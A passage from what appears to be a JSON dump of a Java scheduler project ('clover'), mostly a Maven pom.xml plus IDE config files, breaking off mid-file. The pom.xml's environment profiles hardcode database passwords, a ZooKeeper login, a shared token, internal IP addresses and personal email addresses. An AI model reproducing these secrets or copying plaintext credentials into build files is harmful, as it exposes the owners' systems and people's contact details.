DBTableInfo.TBL_CLOVER_LOG);\r\n            System.err.println(\"SchedulerServerInitial-->>init(config) error ,\"+e.getMessage());\r\n            throw new RuntimeException(e);\r\n        }\r\n        logger.info(\"SchedulerServerInitial-->>init(config)......\");\r\n    }\r\n\r\n    @Override\r\n    public void init() throws ServletException {\r\n        super.init();\r\n        try {\r\n            ModuleSchedulerServer server =  ModuleSchedulerServer.getInstance();\r\n            server.startup();\r\n        } catch (Exception e) {\r\n            String execMethod = \"ModuleSchedulerServer-->>init()\";\r\n            String execResult = \"ModuleSchedulerServer-->>init() error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            System.err.println(\"SchedulerServerInitial-->>init() error ,\"+e.getMessage());\r\n        }\r\n        logger.info(\"SchedulerServerInitial-->>init()......\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover</artifactId>\r\n    <version>1.0</version>\r\n    <packaging>pom</packaging>\r\n    <name>clover</name>\r\n\r\n    <modules>\r\n        <module>clover-common</module>\r\n        <module>clover-core</module>\r\n        <module>clover-client</module>\r\n        <module>clover-server</module>\r\n        <module>clover-admin</module>\r\n        <module>clover-monitor</module>\r\n        <module>clover-examples</module>\r\n    </modules>\r\n    <properties>\r\n        <jdk.version>1.6</jdk.version>\r\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\r\n        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>\r\n        <spring.version>3.2.4.RELEASE</spring.version>\r\n        <maven.test.skip>true</maven.test.skip>\r\n        <maven.jdoc.skip>true</maven.jdoc.skip>\r\n        <downloadSources>true</downloadSources>\r\n        <!-- <clover.version>dev-1.0</clover.version>--><!--<clover.version>dev-1.0-SNAPSHOT</clover.version>-->\r\n    </properties>\r\n\r\n    <!-- 打包配置信息 -->\r\n    <profiles>\r\n        <profile>\r\n            <!-- 开发环境 -->\r\n            <id>dev</id>\r\n            <!-- 默认 -->\r\n            <activation>\r\n                <activeByDefault>true</activeByDefault>\r\n            </activation>\r\n            <properties>\r\n                <resources.dir>src/main/resources/dev</resources.dir>\r\n                <clover.version>1.0.dev-SNAPSHOT</clover.version>\r\n                <package.environment>dev</package.environment>\r\n                <!--zk 配置 开始-->\r\n                <clover.zk.address>10.58.50.206:2181,10.58.50.207:2181,10.58.50.208:2181</clover.zk.address>\r\n                <clover.zk.rootPath>/clover</clover.zk.rootPath>\r\n                <clover.zk.zkSessionTimeout>30000</clover.zk.zkSessionTimeout>\r\n                <clover.zk.userName>cloverAdmin</clover.zk.userName>\r\n                <clover.zk.password>password</clover.zk.password>\r\n                <!--zk 配置 结束-->\r\n\r\n                <!--mongoDB 配置 开始-->\r\n                <clover.mongoDB.mongoAddress>10.58.50.134:27077,10.58.50.133:27077</clover.mongoDB.mongoAddress>\r\n                <clover.mongoDB.dbName>spec_pub</clover.mongoDB.dbName>\r\n                <clover.mongoDB.userName>user_spec_pub</clover.mongoDB.userName>\r\n                <clover.mongoDB.password>SrVlPrIGgu7ZM2Ox</clover.mongoDB.password>\r\n                <clover.mongoDB.connectionsPerHost>100</clover.mongoDB.connectionsPerHost>\r\n                <clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>10</clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>\r\n                <clover.mongoDB.connectTimeout>180000</clover.mongoDB.connectTimeout>\r\n                <clover.mongoDB.maxWaitTime>30000</clover.mongoDB.maxWaitTime>\r\n                <clover.mongoDB.autoConnectRetry>true</clover.mongoDB.autoConnectRetry>\r\n                <clover.mongoDB.socketKeepAlive>false</clover.mongoDB.socketKeepAlive>\r\n                <clover.mongoDB.socketTimeout>180000</clover.mongoDB.socketTimeout>\r\n                <!--mongoDB 配置 结束-->\r\n\r\n                <!--redis 配置 开始-->\r\n                <clover.redis.server>10.58.50.208</clover.redis.server>\r\n                <clover.redis.port>6379</clover.redis.port>\r\n                <clover.redis.pool.maxActive>500</clover.redis.pool.maxActive>\r\n                <clover.redis.pool.maxIdle>20</clover.redis.pool.maxIdle>\r\n                <clover.redis.pool.maxWait>1000</clover.redis.pool.maxWait>\r\n                <!--redis 配置 结束-->\r\n\r\n                <!--common 配置 开始-->\r\n                <clover.common.zmqServerPort>10.58.50.208</clover.common.zmqServerPort>\r\n                <clover.common.defaultCompanyEmail>xiaoxiangxu@yolo24.com</clover.common.defaultCompanyEmail>\r\n                <clover.common.defaultPrivateEmail>zhutouzan@163.com</clover.common.defaultPrivateEmail>\r\n                <clover.common.token>6fb8535d703f2492704aefc212b7cd41</clover.common.token>\r\n                <!--common 配置 结束-->\r\n            </properties>\r\n        </profile>\r\n        <profile>\r\n            <!-- sit环境 -->\r\n            <id>sit</id>\r\n            <!-- 默认 -->\r\n            <activation>\r\n                <activeByDefault>false</activeByDefault>\r\n            </activation>\r\n            <properties>\r\n                <resources.dir>src/main/resources/sit</resources.dir>\r\n                <clover.version>1.0.sit-SNAPSHOT</clover.version>\r\n                <package.environment>dev</package.environment>\r\n                <!--zk 配置 开始-->\r\n                <clover.zk.address>10.58.50.206:2181,10.58.50.207:2181,10.58.50.208:2181</clover.zk.address>\r\n                <clover.zk.rootPath>/clover</clover.zk.rootPath>\r\n                <clover.zk.zkSessionTimeout>30000</clover.zk.zkSessionTimeout>\r\n                <clover.zk.userName>cloverAdmin</clover.zk.userName>\r\n                <clover.zk.password>password</clover.zk.password>\r\n                <!--zk 配置 结束-->\r\n\r\n                <!--mongoDB 配置 开始-->\r\n                <clover.mongoDB.mongoAddress>10.126.53.42:27067,10.126.53.42:27068</clover.mongoDB.mongoAddress>\r\n                <clover.mongoDB.dbName>clover</clover.mongoDB.dbName>\r\n                <clover.mongoDB.userName>user_clover</clover.mongoDB.userName>\r\n                <clover.mongoDB.password>user_clover_pass</clover.mongoDB.password>\r\n                <clover.mongoDB.connectionsPerHost>100</clover.mongoDB.connectionsPerHost>\r\n                <clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>10</clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>\r\n                <clover.mongoDB.connectTimeout>180000</clover.mongoDB.connectTimeout>\r\n                <clover.mongoDB.maxWaitTime>30000</clover.mongoDB.maxWaitTime>\r\n                <clover.mongoDB.autoConnectRetry>true</clover.mongoDB.autoConnectRetry>\r\n                <clover.mongoDB.socketKeepAlive>false</clover.mongoDB.socketKeepAlive>\r\n                <clover.mongoDB.socketTimeout>180000</clover.mongoDB.socketTimeout>\r\n                <!--mongoDB 配置 结束-->\r\n\r\n                <!--redis 配置 开始-->\r\n                <clover.redis.server>10.58.50.208</clover.redis.server>\r\n                <clover.redis.port>6379</clover.redis.port>\r\n                <clover.redis.pool.maxActive>500</clover.redis.pool.maxActive>\r\n                <clover.redis.pool.maxIdle>20</clover.redis.pool.maxIdle>\r\n                <clover.redis.pool.maxWait>1000</clover.redis.pool.maxWait>\r\n                <!--redis 配置 结束-->\r\n\r\n                <!--common 配置 开始-->\r\n                <clover.common.zmqServerPort>10.58.50.208</clover.common.zmqServerPort>\r\n                <clover.common.defaultCompanyEmail>xiaoxiangxu@yolo24.com</clover.common.defaultCompanyEmail>\r\n                <clover.common.defaultPrivateEmail>stark_summer@qq.com</clover.common.defaultPrivateEmail>\r\n                <clover.common.token>6fb8535d703f2492704aefc212b7cd41</clover.common.token>\r\n                <!--common 配置 结束-->\r\n            </properties>\r\n        </profile>\r\n        <profile>\r\n            <!-- uat环境 -->\r\n            <id>uat</id>\r\n            <!-- 默认 -->\r\n            <activation>\r\n                <activeByDefault>false</activeByDefault>\r\n            </activation>\r\n            <properties>\r\n                <resources.dir>src/main/resources/uat</resources.dir>\r\n                <clover.version>1.0.uat-SNAPSHOT</clover.version>\r\n                <package.environment>uat</package.environment>\r\n                <!--zk 配置 开始-->\r\n                <clover.zk.address>10.58.50.203:2181,10.58.50.204:2181,10.58.50.205:2181</clover.zk.address>\r\n                <clover.zk.rootPath>/clover</clover.zk.rootPath>\r\n                <clover.zk.zkSessionTimeout>30000</clover.zk.zkSessionTimeout>\r\n                <clover.zk.userName>cloverAdmin</clover.zk.userName>\r\n                <clover.zk.password>password</clover.zk.password>\r\n                <!--zk 配置 结束-->\r\n\r\n                <!--mongoDB 配置 开始-->\r\n                <clover.mongoDB.mongoAddress>10.126.53.38:27067,10.126.53.38:27068</clover.mongoDB.mongoAddress>\r\n                <clover.mongoDB.dbName>clover</clover.mongoDB.dbName>\r\n                <clover.mongoDB.userName>user_clover</clover.mongoDB.userName>\r\n                <clover.mongoDB.password>user_clover_pass</clover.mongoDB.password>\r\n                <clover.mongoDB.connectionsPerHost>100</clover.mongoDB.connectionsPerHost>\r\n                <clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>10</clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>\r\n                <clover.mongoDB.connectTimeout>180000</clover.mongoDB.connectTimeout>\r\n                <clover.mongoDB.maxWaitTime>30000</clover.mongoDB.maxWaitTime>\r\n                <clover.mongoDB.autoConnectRetry>true</clover.mongoDB.autoConnectRetry>\r\n                <clover.mongoDB.socketKeepAlive>false</clover.mongoDB.socketKeepAlive>\r\n                <clover.mongoDB.socketTimeout>180000</clover.mongoDB.socketTimeout>\r\n                <!--mongoDB 配置 结束-->\r\n\r\n                <!--redis 配置 开始-->\r\n                <clover.redis.server>10.58.50.208</clover.redis.server>\r\n                <clover.redis.port>6379</clover.redis.port>\r\n                <clover.redis.pool.maxActive>500</clover.redis.pool.maxActive>\r\n                <clover.redis.pool.maxIdle>20</clover.redis.pool.maxIdle>\r\n                <clover.redis.pool.maxWait>1000</clover.redis.pool.maxWait>\r\n                <!--redis 配置 结束-->\r\n\r\n                <!--common 配置 开始-->\r\n                <clover.common.zmqServerPort>10.58.50.208</clover.common.zmqServerPort>\r\n                <clover.common.defaultCompanyEmail>xiaoxiangxu@yolo24.com</clover.common.defaultCompanyEmail>\r\n                <clover.common.defaultPrivateEmail>stark_summer@qq.com</clover.common.defaultPrivateEmail>\r\n                <clover.common.token>6fb8535d703f2492704aefc212b7cd41</clover.common.token>\r\n                <!--common 配置 结束-->\r\n            </properties>\r\n        </profile>\r\n        <profile>\r\n            <!-- pre环境 -->\r\n            <id>pre</id>\r\n            <!-- 默认 -->\r\n            <activation>\r\n                <activeByDefault>false</activeByDefault>\r\n            </activation>\r\n            <properties>\r\n                <resources.dir>src/main/resources/dev</resources.dir>\r\n                <clover.version>1.0.dev-SNAPSHOT</clover.version>\r\n                <package.environment>dev</package.environment>\r\n                <!--zk 配置 开始-->\r\n                <clover.zk.address>10.58.50.206:2181,10.58.50.207:2181,10.58.50.208:2181</clover.zk.address>\r\n                <clover.zk.rootPath>/clover</clover.zk.rootPath>\r\n                <clover.zk.zkSessionTimeout>30000</clover.zk.zkSessionTimeout>\r\n                <clover.zk.userName>cloverAdmin</clover.zk.userName>\r\n                <clover.zk.password>password</clover.zk.password>\r\n                <!--zk 配置 结束-->\r\n\r\n                <!--mongoDB 配置 开始-->\r\n                <clover.mongoDB.mongoAddress>10.126.45.45:27067,10.126.45.45:27068</clover.mongoDB.mongoAddress>\r\n                <clover.mongoDB.dbName>clover</clover.mongoDB.dbName>\r\n                <clover.mongoDB.userName>user_clover</clover.mongoDB.userName>\r\n                <clover.mongoDB.password>user_clover_pass</clover.mongoDB.password>\r\n                <clover.mongoDB.connectionsPerHost>100</clover.mongoDB.connectionsPerHost>\r\n                <clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>10</clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>\r\n                <clover.mongoDB.connectTimeout>180000</clover.mongoDB.connectTimeout>\r\n                <clover.mongoDB.maxWaitTime>30000</clover.mongoDB.maxWaitTime>\r\n                <clover.mongoDB.autoConnectRetry>true</clover.mongoDB.autoConnectRetry>\r\n                <clover.mongoDB.socketKeepAlive>false</clover.mongoDB.socketKeepAlive>\r\n                <clover.mongoDB.socketTimeout>180000</clover.mongoDB.socketTimeout>\r\n                <!--mongoDB 配置 结束-->\r\n\r\n                <!--redis 配置 开始-->\r\n                <clover.redis.server>10.58.50.208</clover.redis.server>\r\n                <clover.redis.port>6379</clover.redis.port>\r\n                <clover.redis.pool.maxActive>500</clover.redis.pool.maxActive>\r\n                <clover.redis.pool.maxIdle>20</clover.redis.pool.maxIdle>\r\n                <clover.redis.pool.maxWait>1000</clover.redis.pool.maxWait>\r\n                <!--redis 配置 结束-->\r\n\r\n                <!--common 配置 开始-->\r\n                <clover.common.zmqServerPort>10.58.50.208</clover.common.zmqServerPort>\r\n                <clover.common.defaultCompanyEmail>xiaoxiangxu@yolo24.com</clover.common.defaultCompanyEmail>\r\n                <clover.common.defaultPrivateEmail>stark_summer@qq.com</clover.common.defaultPrivateEmail>\r\n                <clover.common.token>6fb8535d703f2492704aefc212b7cd41</clover.common.token>\r\n                <!--common 配置 结束-->\r\n            </properties>\r\n        </profile>\r\n        <profile>\r\n            <!-- prd环境 -->\r\n            <id>prd</id>\r\n            <!-- 默认 -->\r\n            <activation>\r\n                <activeByDefault>false</activeByDefault>\r\n            </activation>\r\n            <properties>\r\n                <resources.dir>src/main/resources/dev</resources.dir>\r\n                <clover.version>1.0.dev-SNAPSHOT</clover.version>\r\n                <package.environment>dev</package.environment>\r\n                <!--zk 配置 开始-->\r\n                <clover.zk.address>10.58.50.206:2181,10.58.50.207:2181,10.58.50.208:2181</clover.zk.address>\r\n                <clover.zk.rootPath>/clover</clover.zk.rootPath>\r\n                <clover.zk.zkSessionTimeout>30000</clover.zk.zkSessionTimeout>\r\n                <clover.zk.userName>cloverAdmin</clover.zk.userName>\r\n                <clover.zk.password>password</clover.zk.password>\r\n                <!--zk 配置 结束-->\r\n\r\n                <!--mongoDB 配置 开始-->\r\n                <clover.mongoDB.mongoAddress>10.58.50.134:27077,10.58.50.133:27077</clover.mongoDB.mongoAddress>\r\n                <clover.mongoDB.dbName>spec_pub</clover.mongoDB.dbName>\r\n                <clover.mongoDB.userName>user_spec_pub</clover.mongoDB.userName>\r\n                <clover.mongoDB.password>SrVlPrIGgu7ZM2Ox</clover.mongoDB.password>\r\n                <clover.mongoDB.connectionsPerHost>100</clover.mongoDB.connectionsPerHost>\r\n                <clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>10</clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier>\r\n                <clover.mongoDB.connectTimeout>180000</clover.mongoDB.connectTimeout>\r\n                <clover.mongoDB.maxWaitTime>30000</clover.mongoDB.maxWaitTime>\r\n                <clover.mongoDB.autoConnectRetry>true</clover.mongoDB.autoConnectRetry>\r\n                <clover.mongoDB.socketKeepAlive>false</clover.mongoDB.socketKeepAlive>\r\n                <clover.mongoDB.socketTimeout>180000</clover.mongoDB.socketTimeout>\r\n                <!--mongoDB 配置 结束-->\r\n\r\n                <!--redis 配置 开始-->\r\n                <clover.redis.server>10.58.50.208</clover.redis.server>\r\n                <clover.redis.port>6379</clover.redis.port>\r\n                <clover.redis.pool.maxActive>500</clover.redis.pool.maxActive>\r\n                <clover.redis.pool.maxIdle>20</clover.redis.pool.maxIdle>\r\n                <clover.redis.pool.maxWait>1000</clover.redis.pool.maxWait>\r\n                <!--redis 配置 结束-->\r\n\r\n                <!--common 配置 开始-->\r\n                <clover.common.zmqServerPort>10.58.50.208</clover.common.zmqServerPort>\r\n                <clover.common.defaultCompanyEmail>xiaoxiangxu@yolo24.com</clover.common.defaultCompanyEmail>\r\n                <clover.common.defaultPrivateEmail>stark_summer@qq.com</clover.common.defaultPrivateEmail>\r\n                <clover.common.token>6fb8535d703f2492704aefc212b7cd41</clover.common.token>\r\n                <!--common 配置 结束-->\r\n            </properties>\r\n        </profile>\r\n    </profiles>\r\n\r\n    <!-- 插件管理 -->\r\n    <build>\r\n        <defaultGoal>compile</defaultGoal>\r\n        <plugins>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-compiler-plugin</artifactId>\r\n                <version>3.1</version>\r\n                <configuration>\r\n                    <source>${jdk.version}</source>\r\n                    <target>${jdk.version}</target>\r\n                    <encoding>${maven.compiler.encoding}</encoding>\r\n                    <showDeprecation>true</showDeprecation>\r\n                    <showWarnings>true</showWarnings>\r\n                    <!--<compilerArguments>\r\n                        <verbose/>\r\n                        <bootclasspath>${java.home}/lib/rt.jar</bootclasspath>\r\n                    </compilerArguments>-->\r\n                </configuration>\r\n            </plugin>\r\n\r\n            <!-- 跳过单元测试 -->\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-surefire-plugin</artifactId>\r\n                <version>2.17</version>\r\n                <configuration>\r\n                    <skip>true</skip>\r\n                </configuration>\r\n            </plugin>\r\n\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-eclipse-plugin</artifactId>\r\n                <version>2.5.1</version>\r\n                <configuration>\r\n                    <downloadSources>true</downloadSources>\r\n                    <downloadJavadocs>false</downloadJavadocs>\r\n                </configuration>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-resources-plugin</artifactId>\r\n                <version>2.6</version>\r\n                <configuration>\r\n                    <encoding>${maven.compiler.encoding}</encoding>\r\n                </configuration>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-war-plugin</artifactId>\r\n                <version>2.4</version>\r\n                <configuration>\r\n                    <archiveClasses>false</archiveClasses>\r\n                    <!--   <webResources>\r\n                           <resource>\r\n                               <directory>src/main/resources/</directory>\r\n                               <targetPath>WEB-INF/classes</targetPath>\r\n                           </resource>\r\n                       </webResources>\r\n                       <packagingExcludes>&lt;!&ndash; 排除多余配置文件 &ndash;&gt;\r\n                           WEB-INF/classes/sit/**,\r\n                           WEB-INF/classes/uat/**\r\n                       </packagingExcludes>-->\r\n                </configuration>\r\n            </plugin>\r\n\r\n\r\n\r\n            <plugin>\r\n                <groupId>org.codehaus.mojo</groupId>\r\n                <artifactId>clirr-maven-plugin</artifactId>\r\n                <version>2.6.1</version>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-deploy-plugin</artifactId>\r\n                <version>2.6</version>\r\n            </plugin>\r\n\r\n        </plugins>\r\n\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n\r\n    <distributionManagement>\r\n        <repository>\r\n            <id>nexus-releases</id>\r\n            <name>Nexus Release Repository</name>\r\n            <url>http://maven.ds.gome.com.cn/nexus/content/repositories/releases</url>\r\n        </repository>\r\n        <snapshotRepository>\r\n            <id>nexus-snapshots</id>\r\n            <name>Nexus Snapshot Repository</name>\r\n            <url>http://maven.ds.gome.com.cn/nexus/content/repositories/snapshots</url>\r\n        </snapshotRepository>\r\n    </distributionManagement>\r\n\r\n    <dependencyManagement>\r\n        <dependencies>\r\n            <!-- LOG4J日志记录 -->\r\n            <dependency>\r\n                <groupId>org.slf4j</groupId>\r\n                <artifactId>slf4j-api</artifactId>\r\n                <version>1.6.4</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.slf4j</groupId>\r\n                <artifactId>slf4j-log4j12</artifactId>\r\n                <version>1.6.4</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>log4j</groupId>\r\n                <artifactId>log4j</artifactId>\r\n                <version>1.2.17</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>commons-lang</groupId>\r\n                <artifactId>commons-lang</artifactId>\r\n                <version>2.5</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>commons-codec</groupId>\r\n                <artifactId>commons-codec</artifactId>\r\n                <version>1.2</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>javax.servlet</groupId>\r\n                <artifactId>servlet-api</artifactId>\r\n                <version>2.4</version>\r\n                <!--<scope>provided</scope>-->\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>com.alibaba</groupId>\r\n                <artifactId>fastjson</artifactId>\r\n                <version>1.1.31</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>org.apache.zookeeper</groupId>\r\n                <artifactId>zookeeper</artifactId>\r\n                <version>3.4.5</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>org.quartz-scheduler</groupId>\r\n                <artifactId>quartz</artifactId>\r\n                <version>2.2.1</version>\r\n                <!--${quartz.version}-->\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.mongodb</groupId>\r\n                <artifactId>mongo-java-driver</artifactId>\r\n                <version>2.11.3</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>redis.clients</groupId>\r\n                <artifactId>jedis</artifactId>\r\n                <version>2.6.0</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>org.apache.httpcomponents</groupId>\r\n                <artifactId>com.springsource.org.apache.httpcomponents.httpclient</artifactId>\r\n                <version>4.2.1</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.apache.httpcomponents</groupId>\r\n                <artifactId>com.springsource.org.apache.httpcomponents.httpcore</artifactId>\r\n                <version>4.2.1</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>io.netty</groupId>\r\n                <artifactId>netty-all</artifactId>\r\n                <version>4.0.13.Final</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>com.alibaba.rocketmq</groupId>\r\n                <artifactId>rocketmq-client</artifactId>\r\n                <version>3.1.8</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.apache.commons</groupId>\r\n                <artifactId>com.springsource.org.apache.commons.codec</artifactId>\r\n                <version>1.6.0</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.zeromq</groupId>\r\n                <artifactId>jeromq</artifactId>\r\n                <version>0.3.4</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>javax.mail</groupId>\r\n                <artifactId>mail</artifactId>\r\n                <version>1.5.0-b01</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>com.sun</groupId>\r\n                <artifactId>tools</artifactId>\r\n                <version>1.5.0</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.apache.catalina</groupId>\r\n                <artifactId>com.springsource.org.apache.catalina</artifactId>\r\n                <version>7.0.26</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.apache.curator</groupId>\r\n                <artifactId>curator-framework</artifactId>\r\n                <version>2.7.0</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.springframework</groupId>\r\n                <artifactId>spring-context</artifactId>\r\n                <version>3.2.4.RELEASE</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.springframework</groupId>\r\n                <artifactId>spring-webmvc</artifactId>\r\n                <version>3.2.4.RELEASE</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>org.springframework</groupId>\r\n                <artifactId>spring-beans</artifactId>\r\n                <version>3.2.4.RELEASE</version>\r\n            </dependency>\r\n            <dependency>\r\n                <groupId>com.typesafe.akka</groupId>\r\n                <artifactId>akka-actor</artifactId>\r\n                <version>2.0.2</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>com.typesafe.akka</groupId>\r\n                <artifactId>akka-zeromq_2.10</artifactId>\r\n                <version>2.1.0</version>\r\n            </dependency>\r\n\r\n            <dependency>\r\n                <groupId>commons</groupId>\r\n                <artifactId>commons-lang3</artifactId>\r\n                <version>3.1</version>\r\n            </dependency>\r\n\r\n\r\n\r\n            <!--   <dependency>\r\n                   <groupId>com.typesafe.akka</groupId>\r\n                   <artifactId>akka-zeromq_2.11</artifactId>\r\n                   <version>2.3.7</version>\r\n                   <exclusions>\r\n                       <exclusion>\r\n                           <groupId>com.typesafe.akka</groupId>\r\n                           <artifactId>akka-actor_2.11</artifactId>\r\n                       </exclusion>\r\n                   </exclusions>\r\n               </dependency>-->\r\n\r\n            <dependency>\r\n                <groupId>org.xerial.snappy</groupId>\r\n                <artifactId>snappy-java</artifactId>\r\n                <version>1.1.1.6</version>\r\n            </dependency>\r\n\r\n            <!-- 单元测试 -->\r\n            <dependency>\r\n                <groupId>junit</groupId>\r\n                <artifactId>junit</artifactId>\r\n                <version>4.11</version>\r\n                <scope>test</scope>\r\n            </dependency>\r\n        </dependencies>\r\n\r\n    </dependencyManagement>\r\n\r\n</project>"
  },
  {
    "path": "test-clover/.classpath",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<classpath>\r\n\t<classpathentry kind=\"src\" output=\"target/classes\" path=\"src/main/java\"/>\r\n\t<classpathentry kind=\"con\" path=\"org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/J2SE-1.5\"/>\r\n\t<classpathentry kind=\"con\" path=\"org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER\">\r\n\t\t<attributes>\r\n\t\t\t<attribute name=\"org.eclipse.jst.component.dependency\" value=\"/WEB-INF/lib\"/>\r\n\t\t</attributes>\r\n\t</classpathentry>\r\n\t<classpathentry kind=\"lib\" path=\"D:/mygit/clover/clover-admin/target/clover-admin-dev-1.0/WEB-INF/lib/clover-client-dev-1.0.jar\"/>\r\n\t<classpathentry kind=\"lib\" path=\"D:/mygit/clover/clover-admin/target/clover-admin-dev-1.0/WEB-INF/lib/clover-core-dev-1.0.jar\"/>\r\n\t<classpathentry kind=\"output\" path=\"target/classes\"/>\r\n</classpath>\r\n"
  },
  {
    "path": "test-clover/.idea/.name",
    "content": "test-clover"
  },
  {
    "path": "test-clover/.idea/artifacts/test_clover_war.xml",
    "content": "<component name=\"ArtifactManager\">\r\n  <artifact type=\"war\" name=\"test-clover:war\">\r\n    <output-path>$PROJECT_DIR$/target</output-path>\r\n    <root id=\"archive\" name=\"test-clover-0.0.1-SNAPSHOT.war\">\r\n      <element id=\"artifact\" artifact-name=\"test-clover:war exploded\" />\r\n    </root>\r\n  </artifact>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/artifacts/test_clover_war_exploded.xml",
    "content": "<component name=\"ArtifactManager\">\r\n  <artifact type=\"exploded-war\" name=\"test-clover:war exploded\">\r\n    <output-path>$PROJECT_DIR$/target/test-clover-0.0.1-SNAPSHOT</output-path>\r\n    <root id=\"root\">\r\n      <element id=\"directory\" name=\"WEB-INF\">\r\n        <element id=\"directory\" name=\"classes\">\r\n          <element id=\"module-output\" name=\"test-clover\" />\r\n        </element>\r\n        <element id=\"directory\" name=\"lib\">\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.gome:clover-client:dev-1.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.gome:clover-core:dev-1.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: javax.servlet:servlet-api:2.4\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient:4.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.logging:1.1.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpmime:4.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient-cache:4.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpcore:4.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.jboss.netty:netty:3.2.9.Final\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.alibaba.rocketmq:rocketmq-client:3.1.8\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.alibaba.rocketmq:rocketmq-common:3.1.8\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.alibaba.rocketmq:rocketmq-remoting:3.1.8\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: io.netty:netty-all:4.0.21.Final\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: redis.clients:jedis:2.6.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.commons:commons-pool2:2.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.sun:tools:1.5.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.typesafe.akka:akka-actor:2.0.2\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.scala-lang:scala-library:2.9.2\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.typesafe.akka:akka-zeromq_2.10:2.1.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.typesafe.akka:akka-actor_2.10:2.1.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.typesafe:config:1.0.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.google.protobuf:protobuf-java:2.4.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: 